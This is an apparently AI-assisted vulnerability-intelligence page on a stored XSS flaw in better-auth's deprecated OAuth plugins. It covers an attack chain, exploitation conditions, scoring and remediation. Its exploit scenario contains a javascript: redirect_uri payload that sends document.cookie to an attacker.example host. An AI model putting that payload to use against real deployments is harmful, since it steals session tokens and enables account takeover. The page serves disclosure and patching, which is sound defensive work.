Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconRegister OAuth client with javascript: redirect_uri
-
DeliveryAuth server stores URI without scheme validation
-
ExploitVictim initiates authorization flow with malicious client
-
InstallConsent page assigns returned redirectURI to window.location.href
-
C2Attacker JavaScript executes in auth-server origin
-
ExecuteSession tokens exfiltrated to attacker server
-
ImpactAccount takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all three of the following conditions to hold simultaneously: (1) the application has the oidc-provider plugin or mcp plugin enabled - not the newer @better-auth/oauth-provider; (2) the better-auth version is 1.6.12 or earlier on the stable line, or 1.7.0-beta.0 through 1.7.0-beta.3 on the pre-release line; and (3) the consent page is a client-side browser component that reads the redirectURI field from authClient.oauth2.consent() and assigns it directly to a navigation target such as window.location.href, location.assign(), or location.replace(). In the default configuration (allowDynamicClientRegistration: false), the attacker must also hold at least a low-privileged authenticated account to register the malicious client. If allowDynamicClientRegistration is set to true (non-default opt-in), client registration is unauthenticated and any visitor can plant the malicious client. Exploitation is not possible when: the consent flow uses a server-side redirect; the consent page implementation matches the project's consent-buttons.tsx demo (which reads a uri field the plugin never returns); or the application uses @better-auth/oauth-provider. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/SC:L/SI:L) places this at 5.1 - moderate - driven primarily by the required user interaction (victim must visit the consent page) and the low subsequent-system impact metrics. The PR:L metric reflects the default configuration where client registration requires authentication; however, the advisory confirms that if allowDynamicClientRegistration is set to true (a non-default opt-in), client registration becomes unauthenticated, effectively lowering the privilege bar to PR:N and meaningfully raising real-world risk for those deployments. The impact is a stored XSS in the authorization-server origin, which is high-value: that origin holds session tokens and consent state. No EPSS score, KEV listing, or confirmed POC was provided in the source data, so exploitation probability cannot be quantified beyond the CVSS signal. The combination of stored persistence, account-takeover potential, and the non-default configuration that enables unauthenticated planting means that affected deployments - particularly those exposing the consent page to end users with dynamic registration enabled - should treat this as a higher practical priority than the moderate base score alone suggests. Deployments using server-side redirects, @better-auth/oauth-provider, or the project's sample consent-buttons.tsx are not affected, substantially reducing the real-world population at risk. |
| Exploit ScenarioDerived | An attacker registers an OAuth client - either unauthenticated if allowDynamicClientRegistration is true, or as a low-privileged authenticated user - supplying javascript:fetch('https://attacker.example/steal?c='+document.cookie) as the redirect_uri value. When a victim user initiates an authorization flow involving that client and reaches the consent page, the page's client-side code reads the redirectURI from the authClient.oauth2.consent() response and assigns it to window.location.href, immediately executing the attacker's payload in the authorization-server origin. The script exfiltrates the victim's session cookies or tokens to the attacker's server, enabling full account takeover without any further interaction. No public POC has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 01, 2026
Stored XSS in better-auth's deprecated oidc-provider and mcp plugins allows an attacker to register an OAuth client with a javascript: redirect_uri, which the authorization server stores and later returns unchanged in the consent response. If the deployment's consent page is a client-side component that assigns the returned redirectURI to window.location.href or equivalent, the attacker's JavaScript executes in the authorization-server origin - exposing the victim's session tokens and enabling account takeover. No public exploit or CISA KEV listing has been identified; the CVSS 4.0 score of 5.1 reflects required user interaction and limited subsequent-system impact, though deployments with unauthenticated dynamic client registration face elevated real-world risk.
RemediationAI
Vendor-released patches are available: upgrade to better-auth 1.6.13 on the stable line or 1.7.0-beta.4 on the pre-release line; both fix the missing URI scheme validation at client registration time. Advisory: https://github.com/better-auth/better-auth/security/advisories/GHSA-86j7-9j95-vpqj. If an immediate upgrade is not possible, three workarounds reduce or eliminate exposure: first, migrate from the deprecated oidc-provider or mcp plugin to @better-auth/oauth-provider, which does not carry this defect; second, modify the consent page to complete the OAuth flow using a server-side redirect (e.g., a Next.js or Remix server action) rather than assigning the redirectURI to window.location.href - browsers do not evaluate javascript: URIs delivered in HTTP Location headers; third, if allowDynamicClientRegistration is currently set to true, disabling it restricts client registration to authenticated users only, significantly limiting the attacker's ability to plant a malicious client without an existing account. Note that the second workaround requires a consent-page code change and must be verified against the specific framework in use.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
better-auth is a TypeScript/Node.js authentication library distributed via npm, providing drop-in OAuth 2.0 and OpenID Connect server capabilities. The vulnerability resides in the deprecated oidc-provider plugin and its wrapper mcp plugin (cpe:2.3:a:better-auth:better-auth:*:*:*:*:*:*:*:*), both of which implement client registration without validating the URI scheme of submitted redirect_uris. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: untrusted attacker-controlled data is stored server-side and later reflected into a browser navigation context without sanitization. The javascript: URI scheme is a well-known XSS vector that browsers evaluate when assigned to location properties. The newer @better-auth/oauth-provider package, which is the migration target for both affected plugins, is not vulnerable. The defect is independent of any specific frontend framework - any consent page that performs client-side navigation using the returned URI value is susceptible.
Know when Better Auth gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
PR:L reflects default authenticated registration; S:C and C:L/I:L capture cross-origin session exposure via stored XSS; UI:R for required victim consent-page visit.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
better-auth before 1.6.13 (and pre-release builds 1.7.0-beta.0 through 1.7.0-beta.3) fail to validate the scheme of redirect_uris registered via the deprecated oidc-provider plugin and the mcp plugin (which wraps the same provider). An attacker can register an OAuth client with a javascript: redirect_uri, which the authorization server later returns unchanged in the consent response. If the deployment's consent page navigates the browser to the returned redirectURI (e.g. assigning it to window.location.href), the attacker's JavaScript executes in the authorization-server origin, exposing the victim's session and enabling account takeover.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Better Auth
View allBetter Auth is an authentication library for TypeScript. Rated high severity (CVSS 7.9), this vulnerability is remotely
Authorization bypass in the @better-auth/oauth-provider plugin for Better Auth (versions >= 1.4.8-beta.7 and < 1.6.5, pl
Privilege-escalating account takeover in the @better-auth/scim plugin (versions 1.4.0-beta.27 through 1.6.21 and 1.7.0-b
Authentication bypass in Better Auth before 1.6.11 stems from insecure cryptographic defaults in the legacy oidcProvider
Denial of service in Better Auth (npm) before 1.4.2 lets an unauthenticated remote attacker poison the router's base pat
Unauthenticated OAuth state values can be redeemed as Magic Link tokens in Better Auth 1.4.0-beta.18 through 1.7.6, lett
Authentication bypass in Better Auth's OAuth Proxy plugin (versions 1.5.0-beta.12 through 1.7.6) lets unauthenticated re
Path normalization bypass in Better Auth before v1.4.5 allows unauthenticated remote attackers to circumvent `disabledPa
Authorization bypass in @better-auth/scim versions 1.5.0 through 1.7.0-beta.3 allows any authenticated user to fully tak
Pre-account hijacking in better-auth (npm) allows a remote attacker to gain persistent, password-based access to any vic
Multiple authentication bypass vulnerabilities in @better-auth/sso before version 1.6.21 enable low-privileged attackers
Two domain-ownership authentication bypass flaws in @better-auth/sso allow authenticated organization owners to compromi
EUVD-2026-51810
GHSA-w277-2xmj-j2rc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB